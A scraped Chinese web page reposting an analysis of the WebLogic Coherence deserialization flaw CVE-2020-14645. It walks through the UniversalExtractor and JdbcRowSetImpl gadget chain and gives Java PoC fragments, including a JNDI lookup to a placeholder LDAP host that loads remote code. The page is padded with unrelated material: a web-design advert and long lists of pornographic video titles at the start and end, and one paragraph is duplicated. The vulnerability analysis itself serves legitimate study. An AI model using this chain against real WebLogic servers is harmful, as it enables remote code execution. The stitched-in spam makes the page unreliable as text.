欧美一级特黄大片做受成人-亚洲成人一区二区电影-激情熟女一区二区三区-日韩专区欧美专区国产专区

WebLogiccoherenceUniversalExtractor反序列化的漏洞分析是怎樣的

這篇文章將為大家詳細(xì)講解有關(guān)WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

瓊海網(wǎng)站制作公司哪家好,找成都創(chuàng)新互聯(lián)公司!從網(wǎng)頁(yè)設(shè)計(jì)、網(wǎng)站建設(shè)、微信開(kāi)發(fā)、APP開(kāi)發(fā)、成都響應(yīng)式網(wǎng)站建設(shè)等網(wǎng)站項(xiàng)目制作,到程序開(kāi)發(fā),運(yùn)營(yíng)維護(hù)。成都創(chuàng)新互聯(lián)公司從2013年成立到現(xiàn)在10年的時(shí)間,我們擁有了豐富的建站經(jīng)驗(yàn)和運(yùn)維經(jīng)驗(yàn),來(lái)保證我們的工作的順利進(jìn)行。專注于網(wǎng)站建設(shè)就選成都創(chuàng)新互聯(lián)公司。

前言

Oracle七月發(fā)布的安全更新中,包含了一個(gè)Weblogic的反序列化RCE漏洞,編號(hào)CVE-2020-14645,CVS評(píng)分9.8。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

該漏洞是針對(duì)于CVE-2020-2883的補(bǔ)丁繞過(guò),CVE-2020-2883補(bǔ)丁將MvelExtractor和ReflectionExtractor列入黑名單,因此需要另外尋找一個(gè)存在extract且方法內(nèi)存在惡意操作的類(lèi),這里用到的類(lèi)為com.tangosol.util.extractor.UniversalExtractor,存在于Coherence組件。

CVE-2020-2883

先來(lái)回顧一下CVE-2020-2883的兩個(gè)poc調(diào)用鏈

//poc1
 javax.management.BadAttributeValueExpException.readObject()
   com.tangosol.internal.sleepycat.persist.evolve.Mutations.toString()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.size()
     java.util.concurrent.ConcurrentSkipListMap$SubMap.isBeforeEnd()
       java.util.concurrent.ConcurrentSkipListMap.cpr()
         com.tangosol.util.comparator.ExtractorComparator.compare()
           com.tangosol.util.extractor.ChainedExtractor.extract()
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
             //...
           com.tangosol.util.extractor.ReflectionExtractor().extract()
             Method.invoke()
               Runtime.exec()

//poc2
java.util.PriorityQueue.readObject()
  java.util.PriorityQueue.heapify()
  java.util.PriorityQueue.siftDown()
  java.util.PriorityQueue.siftDownUsingComparator()
  com.tangosol.util.extractor.AbstractExtractor.compare()
    com.tangosol.util.extractor.MultiExtractor.extract()
      com.tangosol.util.extractor.ChainedExtractor.extract()
        //...
        Method.invoke()
            //...
          Runtime.exec()

其本質(zhì)上,都是通過(guò)ReflectionExtractor調(diào)用任意方法,從而實(shí)現(xiàn)調(diào)用Runtime對(duì)象的exec方法執(zhí)行任意命令,但補(bǔ)丁現(xiàn)在已經(jīng)將ReflectionExtractor列入黑名單,那么只能使用UniversalExtractor重新構(gòu)造一條利用鏈,這里使用poc2的入口即CommonsCollections4鏈的入口進(jìn)行構(gòu)造。

CVE-2020-14645

為了方便一些純萌新看懂,此處將會(huì)從0開(kāi)始分析反序列化鏈(啰嗦模式警告),并且穿插一些poc構(gòu)造時(shí)需要注意的點(diǎn),先來(lái)看看調(diào)用棧。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

從頭開(kāi)始跟進(jìn)分析整個(gè)利用鏈,先來(lái)看看PriorityQueue.readObject()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

第792會(huì)執(zhí)行for循環(huán),將s.readObject()方法賦給queue對(duì)象數(shù)組,跟進(jìn)heapify()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這里會(huì)取一半的queue數(shù)組分別執(zhí)行siftDown(i, (E) queue[i]);,實(shí)質(zhì)上PriorityQueue是一個(gè)最小堆,這里通過(guò)siftDown()方法進(jìn)行排序?qū)崿F(xiàn)堆化,那么跟進(jìn)siftDown()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這里有個(gè)對(duì)于comparator的判定,我們暫時(shí)不考慮comparator的值是什么,接下來(lái)會(huì)使用到,我們先跟進(jìn)siftDownUsingComparator()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

重點(diǎn)關(guān)注comparator.compare()方法,那么我們先來(lái)看看comparator是怎么來(lái)的。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

是在PriorityQueue的構(gòu)造函數(shù)中被賦值的,并且這里可以看到,queue對(duì)象數(shù)組也是在這里被初始化的。那么結(jié)合上述所分析的點(diǎn),我們需要構(gòu)造一個(gè)長(zhǎng)度為2的queue對(duì)象數(shù)組,才能觸發(fā)排序,進(jìn)入siftDown()方法。同時(shí)還要選擇一個(gè)comparator,這里選用ExtractorComparator。繼續(xù)跟進(jìn)ExtractorComparator.compare()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這里將會(huì)調(diào)用this.m_extractor.extract()方法,讓我們看看this.m_extractor是怎么來(lái)的。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可以看到,this.m_extractor的值是與傳入的extractor有關(guān)的。這里需要構(gòu)造this.m_extractor為ChainedExtractor,才可以調(diào)用ChainedExtractor的extract()方法實(shí)現(xiàn)串接extract()調(diào)用。因此,首先需要構(gòu)造這樣一個(gè)PriorityQueue對(duì)象:

PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
//這里chainedExtractor為ChainedExtractor對(duì)象,后續(xù)會(huì)說(shuō)明chainedExtractor對(duì)象的具體構(gòu)造

繼續(xù)跟進(jìn)ChainedExtractor.extract()方法,可以發(fā)現(xiàn)會(huì)遍歷aExtractor數(shù)組,并調(diào)用其extract()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可以看到,this.m_extractor的值是與傳入的extractor有關(guān)的。這里需要構(gòu)造this.m_extractor為ChainedExtractor,才可以調(diào)用ChainedExtractor的extract()方法實(shí)現(xiàn)串接extract()調(diào)用。因此,首先需要構(gòu)造這樣一個(gè)PriorityQueue對(duì)象:

PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
//這里chainedExtractor為ChainedExtractor對(duì)象,后續(xù)會(huì)說(shuō)明chainedExtractor對(duì)象的具體構(gòu)造

繼續(xù)跟進(jìn)ChainedExtractor.extract()方法,可以發(fā)現(xiàn)會(huì)遍歷aExtractor數(shù)組,并調(diào)用其extract()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

此處aExtractor數(shù)組是通過(guò)ChainedExtractor的父類(lèi)AbstractCompositeExtractor的getExtractors()方法獲取到父類(lèi)的m_aExtractor屬性值。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

所以,poc中需要這樣構(gòu)造m_aExtractor

Class clazz = ChainedExtractor.class.getSuperclass();
Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");
m_aExtractor.setAccessible(true);

m_aExtractor具體的值需要怎么構(gòu)造,需要我們繼續(xù)往下分析。先回到我們所要利用到的UniversalExtractor,跟進(jìn)其extract()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

此處由于m_cacheTarget使用了transient修飾,無(wú)法被反序列化,因此只能執(zhí)行else部分,跟進(jìn)extractComplex()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這里看到最后有method.invoke()方法,oTarget和aoParam都是我們可控的,因此我們需要看看method的處理,跟進(jìn)findMethod方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可以看到第477行可以獲取任意方法,但是要進(jìn)入if語(yǔ)句,得先使fExactMatch為true,fStatic為false。可以看到fStatic是我們可控的,而fExactMatch默認(rèn)為true,只要沒(méi)進(jìn)入for循環(huán)即可保持true不變,使cParams為空即aclzParam為空的Class數(shù)組即可,此處aclzParam從getClassArray()方法獲取。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

顯而易見(jiàn),傳入一個(gè)空的Object[]即可?;氐絜xtractComplex()方法,此時(shí)我們只要我們進(jìn)入第192行的else語(yǔ)句中,即可調(diào)用任意類(lèi)的任意方法。但此時(shí)還需要fProperty的值為false,跟進(jìn)isPropertyExtractor()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可惜m_fMethod依舊是使用transient修飾,溯源m_fMethod的賦值過(guò)程。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

可以看到,由于this對(duì)象的原因,getValueExtractorCanonicalName()方法始終返回的是null,那么跟進(jìn)computeValuExtractorCanonicalName()方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

此處不難理解,如果aoParam不為null且數(shù)組長(zhǎng)度大于0就會(huì)返回null,因此我們調(diào)用的方法必須是無(wú)參的(因?yàn)閍oParam必須為null)。接著如果方法名sName不以 () 結(jié)尾,則會(huì)直接返回方法名。否則會(huì)判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES數(shù)組中的前綴開(kāi)頭,是的話就會(huì)截取掉并返回。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

回到extractComplex方法中,在if條件里會(huì)對(duì)上述返回的方法名做首字母大寫(xiě)處理,然后拼接BEAN_ACCESSOR_PREFIXES數(shù)組中的前綴,判斷clzTarget類(lèi)中是否含有拼接后的方法。這時(shí)發(fā)現(xiàn)無(wú)論如何我們都只能調(diào)用任意類(lèi)中g(shù)et和is開(kāi)頭的方法,并且還要是無(wú)參的。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

整理下我們可以利用的思路:

  • 調(diào)用init()方法,對(duì)this.method進(jìn)行賦值,從而使fProperty的值為false,從而進(jìn)入else分支語(yǔ)句,實(shí)現(xiàn)調(diào)用任意類(lèi)的任意方法。然而這個(gè)思路馬上就被終結(jié)了,因?yàn)槲覀兏菊{(diào)用不了非get和is開(kāi)頭的方法!??!

  • 被transient修飾的m_cacheTarget在extractComplex方法中被賦值

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

在ExtractorComparator.compare()方法中,我們知道extract方法能被執(zhí)行兩次,因此在第二次執(zhí)行時(shí),能夠在UniversalExtractor.extract方法中調(diào)用targetPrev.getMethod().invoke(oTarget, this.m_aoParam)方法。但是這種方法也是行不通的,因?yàn)間etMethod()獲取的就是圖上紅框的中的method,很顯然method依舊受到限制,當(dāng)我們調(diào)用非 get 和 is 開(kāi)頭的方法時(shí),findMethod 會(huì)返回 null。

  • 只能走方法被限制的路線了,尋找所有類(lèi)中以 get 和 is開(kāi)頭并且可利用的無(wú)參方法

get 和 is復(fù)現(xiàn)過(guò)Fastjson反序列化漏洞的小伙伴,應(yīng)該清楚Fastjson的利用鏈尋找主要針對(duì)get和set方法,這時(shí)候就與我們的需求有重合處,不難想到JdbcRowSetImpl的JNDI注入,接下來(lái)一起回顧一下。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

其connect方法中調(diào)用了lookup方法,并且DataSourceName是可控的,因此存在JNDI注入漏洞,看看有哪些地方調(diào)用了connect方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

有三個(gè)方法調(diào)用了connect方法,分別為prepare、getDatabaseMetaData和setAutoCommit方法,逐一分析。

  • prepare()

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

一開(kāi)始就調(diào)用了connect方法,繼續(xù)回溯哪里調(diào)用了prepare方法。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

execute方法,應(yīng)該是用于執(zhí)行sql查詢的

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

這個(gè)應(yīng)該是用于獲取參數(shù)元數(shù)據(jù)的方法,prepare()方法應(yīng)該都是用于一些與sql語(yǔ)句有關(guān)的操作方法中。

  • getDatabaseMetaData()

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

  • setAutoCommit()

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

必須讓this.conn為空,對(duì)象初始化時(shí)默認(rèn)為null,因此直接進(jìn)入else語(yǔ)句。其實(shí)this.conn就是connect方法,用于保持?jǐn)?shù)據(jù)庫(kù)連接狀態(tài)。

回到connect方法,我們需要進(jìn)入else語(yǔ)句才能執(zhí)行l(wèi)ookup方法。有兩個(gè)前提條件,this.conn為空,也就是執(zhí)行connect方法時(shí)是第一次執(zhí)行。第二個(gè)條件是必須設(shè)置DataSourceName的值,跟進(jìn)去該參數(shù),發(fā)現(xiàn)為父類(lèi)BaseRowSet的private屬性,可被反序列化。

那么,對(duì)于WebLogic這個(gè)反序列化利用鏈,我們只要利用getDatabaseMetaData()方法就行,接下來(lái)看看該怎么一步步構(gòu)造poc。先從JdbcRowSetImpl的JNDI注入回溯構(gòu)造:

JdbcRoSetImpl jdbcRowSet = (JdbcRowSetImpl)JdbcRowSetImpl.class.newInstance();
Method setDataSource_Method = jdbcRowSet.getClass().getMethod("setDataSourceName", String.class);
setDataSource_Method.invoke(jdbcRowSet,"ldap://xx.xx.xx.xx:1389/#Poc");//地址自行構(gòu)造
//利用ysoserial的Reflections模塊,由于需要獲取queue[i]進(jìn)行compare,因此需要對(duì)數(shù)組進(jìn)行賦值
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
queueArray[1] = jdbcRowSet;

接著構(gòu)造 UniversalExtract 對(duì)象,用于調(diào)用 JdbcRowSetImpl 對(duì)象的方法

UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);

緊接著將 UniversalExtract 對(duì)象裝載進(jìn)文章開(kāi)頭構(gòu)造的 chainedExtractor 對(duì)象中

ValueExtractor[] valueExtractor_list = new ValueExtractor[]{ universalExtractor };
field.set(chainedExtractor,valueExtractor_list2);//field為m_aExtractor

此處,還有一個(gè)小點(diǎn)需注意,一個(gè)在文章開(kāi)頭部分構(gòu)造的 PriorityQueue 對(duì)象,需要構(gòu)造一個(gè)臨時(shí) Extractor 對(duì)象,用于創(chuàng)建時(shí)的 comparator,此處以 ReflectionExtractor 為例。其次,PriorityQueue 對(duì)象需要執(zhí)行兩次 add 方法。

ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString",new Object[]{});
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{reflectionExtractor});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");

回到 PriorityQueue 對(duì)象的 readObject 方法

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

首先需要能進(jìn)入 for 循環(huán),for 循環(huán)就得有 size 的值,size 值默認(rèn)為 0,private 屬性,可以通過(guò)反射直接設(shè)置,但是不想通過(guò)反射怎么辦,回溯賦值過(guò)程。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

在 offer 方法處獲得賦值,而 offer 方法又是由 add 方法調(diào)用。(注意此處會(huì)執(zhí)行 siftUp 方法,其中會(huì)觸發(fā) comparator 的 compare 方法,從而執(zhí)行 extract 方法)。

WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的

不難理解,每 add 一次,size 加 1,根據(jù)上述 heapify 方法,只會(huì)從開(kāi)頭開(kāi)始取一半的 queue 數(shù)組執(zhí)行 siftDown 方法。所以 size 至少為 2,需要執(zhí)行兩次 add 方法,而不是 add(2) 一次。

至此,poc 的主體就構(gòu)造完成,其余部分就不在此闡述了,當(dāng)然構(gòu)造方式有很多,此處為方便萌新,分析得比較啰嗦,poc 也比較雜亂,大家可以自行構(gòu)造屬于自己的 poc。

關(guān)于WebLogic coherence UniversalExtractor 反序列化的漏洞分析是怎樣的就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

本文名稱:WebLogiccoherenceUniversalExtractor反序列化的漏洞分析是怎樣的
本文地址:http://aaarwkj.com/article12/pegggc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供ChatGPT、電子商務(wù)、App開(kāi)發(fā)、移動(dòng)網(wǎng)站建設(shè)、手機(jī)網(wǎng)站建設(shè)、小程序開(kāi)發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

營(yíng)銷(xiāo)型網(wǎng)站建設(shè)
日韩av中文一区二区| 国产精品av国产精华液| 黄色录像一级大片中国的| 日本成人午夜福利电影| 日本视频免费一区二区| 午夜精品视频免费91| 日韩视频播放一区二区| 尤物视频在线观看官网| 国产精品久久久在线视频| 国产三级黄色片免费看| 亚洲av乱码久久精品蜜桃| 日韩精品在线第一视频| 亚洲综合色视频免费在线播放| 免费日韩黄片在线观看| 国产精品网站在线观看| 日本啪啪精品一区二区三区| 日韩av一区二区久久久| 粉嫩极品国产在线观看| 日韩欧美亚洲自拍另类| 欧美日韩午夜久久免费| 日韩一区中文字幕久久| 韩国av毛片在线播放| 手机不卡高清播放一区二区| 特黄特色的日本大片| 91久久精品人妻一区二区| 欧美黄片完整版在线观看 | 大屁股白浆一区二区三区| 刘亦菲毛片一区二区三区| 欧美日韩亚洲精品一区二区三区| 成人精品欧美欧美一级乱黄| 国产精品三级竹菊影视| 亚洲熟女少妇淫语高潮| 国产欧美成人综合色就色| 色哟哟亚洲精品一区二区| 五十路八十路息与子交尾| 亚洲福利影院一区久久| 国产精品岛国片在线观看| 韩国日本午夜福利在线| 91性感视频在线播放| 亚洲av乱码专区国产乱码| 久久久久国产综合精品|